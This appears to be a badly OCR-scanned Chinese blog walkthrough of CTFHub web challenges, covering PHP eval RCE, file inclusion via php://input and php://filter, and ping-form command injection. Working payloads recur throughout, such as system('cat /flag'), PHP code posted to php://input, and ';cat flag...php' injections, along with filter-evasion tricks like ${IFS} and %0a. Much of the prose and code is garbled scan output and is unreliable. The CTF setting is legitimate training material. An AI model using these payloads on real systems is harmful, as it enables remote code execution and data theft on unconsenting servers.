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emmiX i8R B R HIE R A, BRE 5K AR ur % A\ http://challenge-187c¢f816b7bf0349.sandbox.ctfhub.com:10800/?
cmd=system(‘ls /"); X & 7 75 3 ) B0 B B8 AN 2 3R [BE AT ZR 7 o
HBINET » REeEENS)

<{%php
if (isset($_REQUEST[ cmd’ 1)) |
eval (3_REQUEST[“emd”]) ;
} else |
highlight_file(_ FILE_ );
}

£

CSOM @R S B | Tl

B E AR, X B A ERE L Romd

| M iEg#HE (http://challenge-187cf816b7bf0349.sandbox.ctfhub.com:1080... _ O X
B 1{87F x HE £
B Enifm s v

URLMHE * http://challenge-187cf816b7bf0349.sandbox. ctfhub.com: 10800/

EEER cmd

PlEEE

WERE UTF8 v

s fetil PHP v
S

= default (735
) random (F385%)
) baset4
2 EKRIEE ~
of Hings

SN @ik i TR I

R, AT AHIASERERRIVE.
fEE B X BERFIflag3cff, mitxBIF15 2 flag

« == [0 47.98.148.7 5 47.98.148.7

M imE: [flag_1341

1 ctfhub{e458a7ledef9ac32917e182F}
2

XEE I B R BIRCE R RrIE, ZERAE, A3

XA

REMITH
HackBar



HARERMNED TERERN, 2Hh—T, RE#dgeti XA —1MileZH, WRKPNEEagFRFHIIE, BT LIEES|
P kR

<Tphp
error_reporting (0]
it (isset(3_GET[ £ile’ 1)) |
if (lstrpos(3_GET["file”], “flag™) |
include $_GET["file”];
}oelse |
echo  “Hacker!!!”:

}
1 oelze |
highlight_file(_ FILE_ ):
}
D
<hr>

i have a <a href="shell.txt"»shell<fa> how to use it 7

I have a shell how to use it ?

WALBEETH, B shelEETANH, mdtE
{Fphp eval (3_REQUEST[  ctfhub’ 109>
VL E RIS S ctthub, AT R & EfEget P H0E 5| NBITA]

T k{8 FlHackBari# 47 #4E
Hctthubfz A—AS%, kB 2450 B S0

bin boot dev et home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

i have a shell, how to use it ?

[w ﬂ Sources Console Network Performance Memory Elements Application Security Lighthouse HackBar 81 e X

LOAD SPLIT EXECUTE TEST ~ sQLl -~ XSS -~ LFI ~ SSTI ~ ENCODING -~ HASHING ~ THEME ~
URL

http://challenge-6e1e4b3516e2af50.sandbox.ctfhub.com:10800/?file=shell.txt

enctype
E Er(l)engle application/x-www-form-urlencoded M ADD HEADER

Body
ctfhub=system('ls /");

Console  What's New X Network conditions

CSDIN-@3t = E By h oz

" UAE B —Mlag XA



i fcatir @ &EF &M, BT 5 3flag

|etfhubibb017956a4a0b4eadges4727) |

i have a shell, how to use it ?

v ﬂ Sources Console Network Performance Memory Elements Application Security Lighthouse HackBar 81 T X

LOAD SPLIT EXECUTE TEST ~ sQLl -~ XSS - LFI ~ SSTI ~ ENCODING ~ HASHING -~ THEME -~

URL
http://challenge-6e1e4b3516e2af50.sandbox.ctfhub.com:10800/?file=shell.txt

enctype

Enable -
- - - e ADD HEADER
@ POST application/x-www-form-urlencoded

Body
ctfhub=system("cat /flag");

Console  What's New X Network conditions

Highlights from the Chrome 96 update 0

HremRAA T RS S hARRFER —ACH, fEgeth 5I BT LEA—MEANR, REEMMA G5 LA !
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php://input



—TRE B R R, B AT AT LRE B Z L RATNGETH A —Mile B B4R 5 H — M php:/inputi) S HE

<Tphp
it (isset(3_GET[ £ile’ 1)) |
if ( substr(3_GET["file”], 0, &) === “php://" 1 |
include(3 _GET["file"]);
}oelse |
echo  “Hacker!!!”:
}
}oelse |
highlight_file(_ FILE_ J;
}
D
<hr>

i don’t have shell, how to get flaz? <bry
<a href="phpinfo.php” phpinfod/a>

| don't have shell, how to get flag?
pRhpinfo

CSDN @i S i) B i
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e
5]

M RMENE? MaE£MWEEE, ,

BEHRHERZXA
php:// X
o

o allow_url_fopen:offfon

o allow_url_include :{¥php://input php://stdin php://memory php://temp FoZon
- {FR:
php:// IBBIZETNEN/EER (/O streams) . fECTFRR & {F AN S php;: //filterfl

php://input, php://filter BT IEEEREE] php://input B TFHITphpRE8,
o 5AR:

CSDN @ik SRy &/
T B R U At 2 X AR 7 T DALk R 55 2% 152 B B post i i php RES 2R J5 $AT
BT EBERT
g E K HackBar— M EEAE K& AR E -
i don't have shell, how to get flag?
phpinfo
[x E’ Sources Console Network Performance Memory Elements Application Security Lighthouse HackBar B1 E o J X
LOAD SPLIT EXECUTE TEST ~ sQLl -~ XSS ~ LFI ~ SSTI ~ ENCODING ~ HASHING ~ THEME ~

URL
http://challenge-23b9f4f57c6a88eb.sandbox.ctfhub.com:10800/?file=php://input

enctype
C ) E?)ast#e application/x-www-form-urlencoded M ADD HEADER

Body



<?php system(“ls /")?>

Console  What's New X Network conditions

Highlights from the Chrome 96 update

EEE I, AEAEE, EATEFBurpSutiet SZREHA:
B RBEFEEBPEEING, HadikERepeater®, A AHATRAIMZK 6

AT

POST /#ile=php:/finput HTTR/A 1

Host: challenge-23b9f4{57 cBad8eb. sandbox. ctfhub. com: 10800

Content-Length: 22

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http:/fchallenge-2309f4f57 cBaB8eh. sandbox. ctfhub. com: 10800

Content-Type: application/x-www-farm-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/a37 36 (KHTML,
like Gecko) Chrome/96.0.4664.45 Safari/537.36

Accept
text/html,application/xhtml+xml application/xml;q=0.9 image/avif,image/webp image/apng
**0q=0.8 application/signed-exchange;=b3;q=0.9

Referer: http:/fchallenge-23h9fHa7 cBaBBeb. sandbox. ctthub. com: 10800/ *file=php: /finput
Accept-Encading: gzip, deflate

Accept-Language: zh-CM zh;q=0.9 en-US;q=0.8 en;q=0.7

Connection: close

<?php system(ls /)7>|

Go Cancel < |T > |

Request

J RawT Params I Headers T Hex TXML 1

IO

a’

HTTR/A .1 200 OK

Server: openresty/1.19.3.2

Date: Thu, 25 Nov 2021 15:45:43 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 175

Connection: close

H-Powered-By: PHF/5.6.40

Wary: Accept-Encoding
Access-Control-Allow-Crigin: ™
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

hin

hoot

dev

etc
flag_3602
home

lib

lib64
media
mnt

opt

proc
root

rn

shin

sV

sys

tmp

usr

var

<hr=

i don’t have shell, how to get flag? <hr=
<a href="phpinfo.php"=phpinfo</a> ror

-
C5DN @ze

7

e F

Target: http://challenge-23b

Response

_JRawTHeﬂemTrmx}

FPOST /#ile=php: finput HTTP/M .1

Host: challenge-23b8f4f57 cBagteh. sandbox. ctthub. com: 10800
Content-Length: 32

Cache-Contral: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://challenge-23b94f57 cEaBBeb. sandbox. ctfhub. com: 10800

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/537 36 (KHTML,

like Gecko) Chrome/96.0.4664.45 Safan/537.36
Accept:

text/html application/xhtml+xml application/xml;5=0.9 image/avif imagefwebp image/apng

i q=0.8 application/signed-exchange;v=hk3;9=0.9

Referer: http://challenge-230b9f457 c6aB8eh. sandbox. ctfhub. com: 10800/ ?file=php:/finput

Accept-Encading: gzip, deflate
Accept-Language: zh-CM zh;q=0.9 en-U5;q=0.8 en;q=0.7
Connection: close

<?php system('cat fMflag_3602)7>

AL R

HTTRA .1 200 OK

Server: openresty/1.19.3.2

Date: Thu, 256 Mov 2021 15:46:41 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 113

Connection: close

X-Powered-By: PHP/5.6.40

Wary: Accept-Encoding
Access-Contral-Allow-Crigin: *

e

Access-Control-Allow-Methods: ™

ctthub{99chh8812ba78d562277h8cd}
<hr=

<a href="phpinfo. php"=phpinfo</a>

i don’t have shell, how to get flag? <br>

v e

Access-Control-Allow-Headers: X-Requested-With



B EIR AR

—FFUEIE R I B MARIG, LS
{BRX R EARREHphp:/input T, T fg&phpinfo()Fallow_url_fopen BT E, SHA B H php:/input
EET—TF, RIATLLAHZXAS: php/filter

php://filter

php://filter 2—ihroidsEds, RITATEIERITFNNOEELENA, XT—Fl (all-in-one) FXHREAFEER, 2%
{l readfile(), file() # file_get _contents(), TEHIERNFTIERZALRBII SN ARMILIEE.

phpy//filter BrEFRLITRISEHEA BR85S . SESITEIEESTE MR HER, HEERXLSEELISE BT,

php://filter £&4
& G

resource= <ZFEAVEL XMEHEVTN, BIEE T IREMEIEEER. XN 88WIT php/filter BIKRE, FEIE
Eir> MEETEHEEEIRE .

read = <{SEAYIEIESE

>

ZEEEE, JLARE— S MNTIRESM, LIEER () 58.

write= < SHRTHIESIZR

>

ZEHEE. JLURE— S MNTIRSRESR, LIEER () 5.
<; B EERYTmEs IR > HEIRBLA read= Bt write= {FRISR BITHitE RSB RN AT EE.

_:;a

// php://filter/resource=<{pdiEEHRER>

readfile ("php://filter/resource=http://www.example.com") ;

// php://filter/read=—<SHEEga i AN EERsI -
/* X2PIAEFEE www.example ., com HIEEIRE +/

readfile ("php://filter/read=string.toupper/resource=http://www.example.com") ;

/> XEAILLERTMI—, B roT13 MIZ. */

readfile ("php://filter/read=string.toupper|string.rotl3/resource=http://www.example.con");

// php://filter/write=<SHiHEMNRANITIEEEFIE
file put contents("php://filter/write=string.rotl3/resource=example.txt","Hello World");

SN CSDN @3t SR HE B\,

7 B SR U 3t R — AN SRR R A 2
Mt Payload:
php://filter/resource=/flag

Request Response
jRaw T Params T Headers T Hex 1 jRaw T Headers T Hex 1
POST f#ile=php:/filterfresource=flag HTTP/1.1 A HTTR/1.1 200 OK
Host: challenge-cf269012de8123dd. sandbox. ctfhub. com: 10800 ™ Semver, openresty/1.19.3.2
Content-Length: O Date: Thu, 25 Mov 2021 16:24:51 GMT
Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8
Upgrade-Insecure-Requests: 1 Content-Length: 106
Origin: http://challenge-cf269012de8123dd. sandbox. ctfhub. com; 10800 Connection: close
Content-Type: application/x-www-form-urlencoded X-FPowered-By: PHP/S.6.40
User-Agent: Mozillas5.0 (Windows NT 10.0; WinE4; x64) AppleWebkKit/537.36 (KHTML, like Gecka) Vary: Accept-Encoding
Chrome/96.0.4664.45 Safarifa37.36 Access-Control-Allow-Origin:




Accept:

text/html, application/xhtml+xml application/xml; g=0.9 image/avif image/webp imagefapng "™ q=0.8 ap

plication/signed-exchange;v=h3;q=0.9

Refarer: http:/fchallenge-cf269012deB123dd. sandbox. ctthub. com: 10800/ ?file=php://stdin

Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9 en-US;q=0.8 en;q=0.7
Connaction: close

ZNEy

ZEEAE

Access-Controk-Allow-Headers: X-Hequested-With
Access-Contral-Allow-Methods: *

ctthub{aaa%c021e23alc12chadb33c}
<hr>

i don't have shell, how to get flag? <br>
flag in <code>/flag</code>

e i A
100 B L o s T

—IFIRKIH R AR BB HIARD, ALK KK T A flagsli& [E|Hacker

<Yphp
error_reporting (0)
it (isset(3_GET[ £ile’ 1)) |
if (lstrpos(3_GET["file”]

include $_GET["file”];
}oelse |
echo  “Hacker!!!”:

}
1 oelze |

highlight_file(_ FILE_ ):
}

D

<hr>

i don’t have shell, how to
<a href="phpinfo.php” phpinfod/a>

“flaz"))

zet flag?<br>

| don't have shell, how to get flag?
prhpinfo

4B R R iR file=php:/input BEABEF -

Burp Intruder Repeater Window Help

[Target T Proxy I Spider I Scanner I Intruder I Repeater T Sequencer T Decoder I Comparer I Extender T Project options I User options TAIerts ]

Go Cancel < v >|v

Target: hitpdichallenge-d833df36ebe3663f.sandbox.ctfhub.com: 10800 @ EJ

Request Response
Raw | Params | Headers | Hex | XML Raw | Headers | Hex | HTML I Render ]
GET /?ile=php:/finput HTTP/1 1 HTTRA .1 200 OK [a

Host: challenge-d833df36ebe3663f sandbox. ctfhub.com: 10800

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4, x64) AppleWebKit/537.36 (KHTNL,
like Gecko) Chrome/96.0.4664 .45 Safari/537 36

Accept

text/html application/xhtml+xml, application/xml; q=0.9 image/avif image/webp image/apng
1 q=0.8 applicationfsigned-exchangev=h3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9 en-US;q=0.8 en;q=0.7

Connection: close

Content-Length: 23

<?php phpinfaf); 7=

L

Server: openresty/1.19.3.2

Date: Sat, 27 Nov 2021 16:40:57 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 85542
Connection: close
X-Powered-By: PHP/5.6.40
Wary: Accept-Encoding
Access-Control-Allow-Crigin
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

-

<IDOCTYPE htmi PUBLIC "Y#W3G/DTD XHTML 1.0 Transitional/EN" "DTD/xhtmi1-transitional dtd">
<html xmlIns="http: /w3, org/ 1999/ xhtml"><head>

<style type="text/css">

body {background-color: #fff; color: #222; fontfamily: sansserif;}

pre {margin: 0; font-family: monospace;}

a:link {color: #009; text-decoration: none; background-coler: #fff;}

a:hover {text-decoration: underline;}

table {border-collapse: collapse; border: 0; width: 934px; boxshadow: 1px 2px 3px #ccc}
.center {text-align: center;}

.center tahle {margin: 1em auto; text-align: left;}

.center th {text-align: center limportant;}

td, th {border: 1px solid #666; fontsize: 75%; vertical-align: baseline; padding: 4px 5px;}
h1 {fontsize: 150%;}

h2 {fontsize: 125%;}

-p {text-align: left;}

.e {background-coeler: #ccf; width: 300px; font-weight: bold;}
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Burp Intruder Repeater Window Help

4

0 matches

.h {background-celor: #99c; font-weight: bold;}

v {background-color: #ddd; max-width: 300px; overflow-x: auto;}
Wi {color: #999;}

img {float: right; border: 0;}

hr {width: 934px; background-color: #ccc; border: 0; height: 1px;}

<[style>

<title=phpinfo{</title=<meta name="ROBOTS" content="NOINDEX NOFOLLOW NOARCHIVE" /=</head>

<hody><div class="center"> 4

l ?Jl <Jl * Jl z i term 0 matches
CODN @it S i ryied] ) 72 cktis

[Target W’ Proxy I Spider I Scanner I Intruder ]' Repeater T Sequencer W’ Decoder I Comparer

]' Extender W’ Project options I User options W’Alerts ]

Go Cancel <|v > |

Target: httpyichallenge-d833df36ebe3663f.sandbox.ctihub.com:10800 @ EJ

Request Response
Raw | Params | Headers | Hex | XML Raw | Headers | Hex | HTML I Render ]
GET /?file=php:/finput HTTP/1.1 : HTTR .1 200 CK [a
Host: challenge-d833df36ebe3663f sandbox. ctfhub. com: 10500 Server. openresty/1.19.3.2
Pragma: no-cache Date: Sat, 27 Mov 2021 16:41:18 GMT
Cache-Control: no-cache Content-Type: text/html; charset=UTF-8
Upgrade-Insecure-Requests: 1 Content-Length: 171
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x64) AppleWebKit/537.36 (KHTNL, Connection: close
like Gecko) Chrome/96.0.4664.45 Safari/537.36 H-Powered-By: PHP/AS.6.40
Accept Wary: Accept-Encoding
text/html application/xhtml+xml application/xml; q=0.9 image/avif image/webp image/apng Access-Control-Allow-Origin: *
e q=0.8 application/signed-exchange)w=h3;q=0.9 Access-Control-Allow-Headers: X-Requested-With
Accept-Encoding: gzip, deflate Access-Control-Allow-Methods: ™
Accept-Language: zh-CN,zh;q=0.9 en-US;q=0.8 en;q=0.7
Connection: close hin
Content-Length: 28 hoot
dev
<?php system(ls f},|?> etc
flag
home
lib
lib64
media
mnt
opt
proc
root
un
shin
STV
sys
tmp
usr
var
<hr=
L i don't have shell, how to get flag?<hr>
v <a href="phpinfo.php">phpinfo</a> Ad
0 matches liJ liJ u u Type a rch term 0 matches
CSDIN @5k 25 el | A5 wdiis

Burp Intruder Repeater Window Help

[Target T Proxy I Spider I Scanner I Intruder ]’ Repeater T Sequencer T Decoder I Comparer

]’ Extender T Project options I User options TAIerts ]

Go Cancel < |v > v

Request

Raw | Params | Headers | Hex | XML

Target: hitp/challenge-d833d36ebe3663f.sandbox.ctfhub.com: 10800 @ EJ

Response

Raw | Headers | Hex

GET /#ile=php:/finput HTTR/ 1

Host: challenge-d833df36ebe3663f sandbox.ctfhub.com: 10800

Fragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4, x64) AppleWehKit/537.36 (KHTNL,
like Gecko) Chrome/96.0.4664 .45 Safari/537 36

Accept

text/html application/xhtml+xml application/xml; q=0.9 image/avif image/webp image/apng
7 q=0.8 application/signed-exchangev=h3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9 en-US;q=0.8 en;q=0.7

e

HTTRA 1 200 Gk

Server: openresty/1.19.3.2

Date: Sat, 27 Nov 2021 16:41:37 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 114
Connection: close
K-Powered-By: PHP/S.6.40
Wary: Accept-Encoding
Access-Control-Allow-Crigin
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: ™

e

*




Connection: close ctfhub{Bea820ae2abactdaafddad0f)
Content-Length: 33
<hr>

<?php system(cat fflag); 7= i don’t have shell, how to get flag?<br>
<a href="phpinfo.php"=phpinfo</a>

. L

v 4
w EJ w [;J 0 matches [LJ [iJ [;J u Type a search ferm 0 matches
Done CSDN @pt4 E'i"d:i?;?tg'ébﬁ | 4

FRBER
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— e FATAT LA M IEAD

CTFHub a5 SiEN-TIiE

[P :

[ || Ping |

brray

(
[0] =» PING www. baidu. com (180, 101, 49. 11): 56 data bytes
[1] =»

<Tphp

Jres = FALSE:

if (isset(3 GET[ip'1) &% 3 GET[ip 10 |
Jcmd = “ping -c¢ 4 [3.GETCip’ 117
exec(femd, Fres):

}

T

JIDOCTYPE  html >
<html>
<head>
<title>CTFHub A A - title>
</head>
<body>

<h1PCTFHub  fraiE M -FoidiE </l

<form action="#" method="GET™>
<label for="ip">IF : </label><br>
<input type="text” id="ip” name="ip">
<input type="submit” walue="Ping">
</form>

<hr



<prer
<Yphp
it (Fres) |

print_r($res)
1

e
<fprer

<Yphp
show_source(_ FILE_ J;
P

</body>
<Shtml> CEnn

BRRMNAZREEMA —AipRJEESH KA ping

CTFHub as $iEN-THIE

P :

‘mmmmsandboxcﬁhubcon1 H ng|

brray
(
[0] =» PING www. sandbox. ctfhub. com (47. 98, 148, 7): 56 data bytes
)
<Tphp
Jres = FALSE:

if (isset(3 GET[ip'1) &% 3 GET[ip 10 |
Jcmd = “ping -c¢ 4 [3.GETCip’ 117
exec(femd, Fres):

X FRAT A — A R — iy & B0 R LA iy 4T RO 1 A !

CTFHub ss $iEN-THIE

IP:

[www baidu.com;Is] H ng|

brray

(
[0] =» PING www. baidu. com (180, 101, 49, 12): 56 data bytes
[1] =» 2320184855210, php
[2] =» index.php

XEZEEFER N, 1s IANGLSREHAMER TR, 1s / MREHFHEHF, B—AHRBEREXHANMGLSUETRT
W A B
XEEE AN SR



www.baidu.com;cat 2320184855210.php;
f R 1B R 244 1R Borflag

CTFHub as $iEN-THIE

IP:
|m;cat 2320184855210.php]| | Ping

brray
(

[0] => PING www. baidu. com (180, 101, 49. 11): 56 data bytes
[1]

<php

$res = FALSE; CSDM @ S5 TE ) Bk

BEYRF12B VRS AT
ganigT L
1
2
2 | <html >
4| <head>
5 <title>CTFHub fSyE A -t/ titles
6| </head>
7| <body>
8
9 <nl>CTFHub #S3E A -FoidiE</nl>
10
11| <form action="#" method="GET">
12 <label for="ip">IP : </label><br>
13 {input type="text” id="ip” name="ip">

<input type="submit” value="Ping™>
</form>

....
T

<hr

N
w oo

<prer
Array
{

]

=

]
Mg =2

[0] => PING www. baidwu com (180. 101.49.11): 56 data bytes
[1] =>» <%php // ctfhub (E07cOEET2fcE03f360:TR8a5]

M B3 B2
LN o L2

)
<fprer

L]
S

<coder<span style="color: #0000007>

<span style="color: #O0000BB™>&lt; Tphp<kr /»<br />Jresknbsp: </ spanr<span stvle="color: #0077007»=f&nbs
</code>

<Sbody>

<Shtml >

P
w0 0o =

]

3 g

[T % R % By 4
o b =

NN E, SR TIRZ, BRBEEMNGE
A RRGER

i 3E cat

Y A Ly AL A DA L nl



R RE AR TR] S HY L

CTFHub s S -HilEcat

[P :
| || Ping |

<Tphp

Jres = FALSE:

if (isset(3 GET[ ip’1) && $.GETCip'1) 1
$ip = $.CGET[ip’ 1

fm = [1;
if (lpreg_match_all("fecat/", $ip, Sm)) |
Jemd = “ping -c 4 {$ip}";
exec(femd, res)
boelse |
fres = Jm
}
}
i

<IDOCTYPE html>

<html >
<head>

<titlerCTFHub 853 A -1d i cat</title>
</ head>
<body>

<h1PCTFHub  ApdE A -iTiEcat</hly

{form  action="#" method="GET">
<label for="ip"»IF : </label><br>
{input  type="text” 1d="ip” name="ip">
{input  type="submit” walue="Pinz”»

</ form>

<hr>

<prer
<Tphp
if  (fres) |
print_r(jres);
1
T
</prer C5DN

www . haidi.com:1s:



ey ——

CTFHub as $iEN-TiiEcat

[P :

[www baidu.com;ls] || Ping |

brray
(

[0] =» PING www. baidu. com (180, 101, 49. 12): 56 data bytes
[1] =» flas_145421497820403. php
[2] =» index.php

)

<Tphp

E—THRE, Hcati AT, MAEH—THERNAE catil:

XHEEWRS

1, cat: NE—ITHRETNHAE

{EEBI: cat X4 =K iR

ffla0: cat ifcfg-eth0 =i, cat /etc/sysconfig/network-scripts/ifcfg-eth0

24

: FIENHITS, EEEETHREEITS, 5 -b fEIA

: HEES -VET BUEGIET, al7IH—2RFamAREEmE,;
IS, (RIS En, SEAARMTS!

. BERNETTT $ B

ol

’

. J& [tab] LA N Eatisk;
: FIH— RS

2. B WBE—TFEAST



{EAA/: tac 4 = HIEE

fflan: tac ifcfg-eth0 = tac /etc,fsysconfig{network-sgrliptgfi_fqﬁ:;;.-;_e:_clh

EIU\iﬁ*—Ftac:
www.baidu.com;tac flag 145421497820403.php;

CTFHub s $iEN-TiiEcat

IP:

‘www.baidu.cem;tac ﬂag_MH Ping |

brray

(
[0] =» PING www. baidu. com (180, 101,49, 11): 56 data bytes
[1] =»

<?php CSOM oEs S5 1 EE B vy

FI2EFEN, Mh:

<html >
<head>

<title>CTFHub #paiE A -iifcat</titler
< headr
<body>

<h1>CTFHub Ans4E A -1 cat</hl

<form action="#" method="GET">
{lakel for="ip"»IP : </label><br>
{input type="text” 1d="ip” name="ip">
{Anput type="submit” valuse="Ping™ >

< form>

<hr

{prer
hrray
(
(0] = BRIl etk P A = T [P L N O =P S e
[1] =>|KTphp // ctfhub {abc0falb5780bcEeTeeelaba)

)
<fprer

{coder<span style="caolor: #0000007>

<gpan styvle="color: #0000BB“>&1lt; Tphp<hr /»<br />3resknbsp;</spand<{span
</coder

<Sbady>

<Shtml >

LR
UR oL

Qi

te



: RTGRE K LA T

HIHRETUED, BT 2.

CTFHub s $iE - HiEcat

IP:
| | [ Ping |

<Yphp

fres = FALSE:

if (isset(3 GET[ ip’1) && $.GETCip'1) 1
$ip = $C6ETCip’ ]

fm = [
if (lpreg_match_all("/feat/”, $ip, Sm))
femd = “ping -¢ 4 {Fipl ",
exec femd,  Jres);
}oelse |
Jres = Jm;
1
1
T

<IDOCTYPE  html >

<html>
<head>

{title>CTFHub @54 A Tl iEcat</title>
</head>
<body>

<hl>CTFHub  # st A - iEcat</hl>

form  action="#" method="GET™>
{label for="ip"»IP : </label><bry
{nput  type="text” id="ip” name="ip">
{input  type="submit” walue="Ping”»

</ form>

<hr>

{prer
<Yphp
if (Jres) |

print_r(fres)

e
</prer 50


https://blog.csdn.net/weixin_43921596/article/details/86638919

R ARG, XL ] R E T

Linux FE BB R EBES

Lir

1
)
3

LN

ZJa R Z B L — 1

www.baidu.com;ls;

Array

{
(0] =» PING www. baidu. com (180,101, 49, 12): 56 data bytes
[1] =» flaz_305A71596615611. php
[2] =» index.php

www . baidu. com;cat<flag_305671596615611.php; CGXBELZRJLANHMITT)

IP:
[a0_305671596615611.php:] | Ping |

Array

{
[0] => PING www. baidwu com (180. 101.49.12): 56 data bytes
(1] =>

<Yphp CSOM i

o
o
£y
g
U

<html >
<head>»
<title>CTFHub ArsiE ) THETH < titler
<ihead>
<body>

=] 0 N L2 R =

<h1>CTFHub #44F A - T4 </h1>

oW oo



11| <form action="#" method="GET™>

12 <lakel for="ip">IP : </label><br>

13 <input type="text” id="ip” name="ip">

14 <input type="submit” value="Ping™>

15 | </form»

16

17 | <hr>

18

19 | <prex>

20 Array

21| (

22 [0] => PING www. baidw com (180, 101. 49.12): 56 data bytes
23 [1] =>» <%php // ctfhub (09412083496 0:48L3df 552}
24 | )

25 | </prer

26

27 | <coder<span style="color: #0000007:

28 | <span style="color: #0000BE"»&lt: 9php<br /»<br /»Iresfnbsp </ =p
29 | <fcode’

30| </body>

31| </html >

32 CSOM @EE S8 IE BB

AR H
i 98 H 3R 5 B A

R BEAF 2 FRATUERT
AEAREE, BATAT A BATHZE &/

N

www.baidu.com;ls;

Array

(
(0] =» PING www. baidu. com (180. 101,49, 12): 56 data bytes
[1] =» flag is here
[2] =» index. php

FE ik flag_is_here IXILE A %

Hflcdit %, HIsEE:

www.baidu.com;1s;cd flag_is_here;ls

brray
(
[0] =» PING www. baidu. com (180, 101,49, 11): 56 data bytes
[1] =» flag_is_here
[2] =» index.php
[3] =» flasz 29003292349392, php
)

<Yphp

BT RMBEH M, HETRBATT U cdii %, Heatiz 3



www.baidu.com;cd flag is here;cat flag_ 29003292349992.php;
ezl

Array

{
[0] => PING www. baidwu com (180. 101.49.11): 56 data bytes

[1] =>»

<Yphp

<hr>

{prer

Array

{
(0] =» PING www. baidu. com (180,101, 49, 11): 56 data bytes
(1] =» <%php // ctfhub (8fa3893fa098:0pf4d1386211)

)

<fprer

AR RELH
IR AT



ATAER, XREET XA
Hls—TF

Array

(
[0] =» PING www. baidu. com (180,101, 49.12): 56 data bytes
[1] =» flag 2757244493186, php
[2] =» index.php

)

<Yphp

fres = FALSE:

if (is=etl$ GET[ ip']) && $ GET[ ip'1) |
$ip = $.G6ET(ip' 1

fm = [,
if (lpres match all O/ 00 [8Wer /" %ip, 3w
femd = ping ¢ 4 (el
exec(femd,  Jres);
boelee |
Jres = Im
1
1
v T

HRIIFAEMBATIAT RIS

www.baidu.com;cat flag 2752844493186.php;

<prer

Array

(
[0] =» PING www. baidu. com (180. 101,49, 11): 56 data bytes
[1] =» <%php // ctfhub {afccf98cfI0HL30H4a b b0

)

<fprer

FERR R I R e R L ™ IR = |

AREH RIFFRKIRRI0NTiH)
PR

XGRS H— T REHHER, WEFTREECHEIE: Wik
B U — A B S
XIEE

${IFS} R E =4k

$* HOLFF Htn flag=> fi$*ag SRR I A i Rflag R T
%0aRBATHF, %OdREZER, AT LLAX AT & PH.
HAMZ TS E EZR %

(5845
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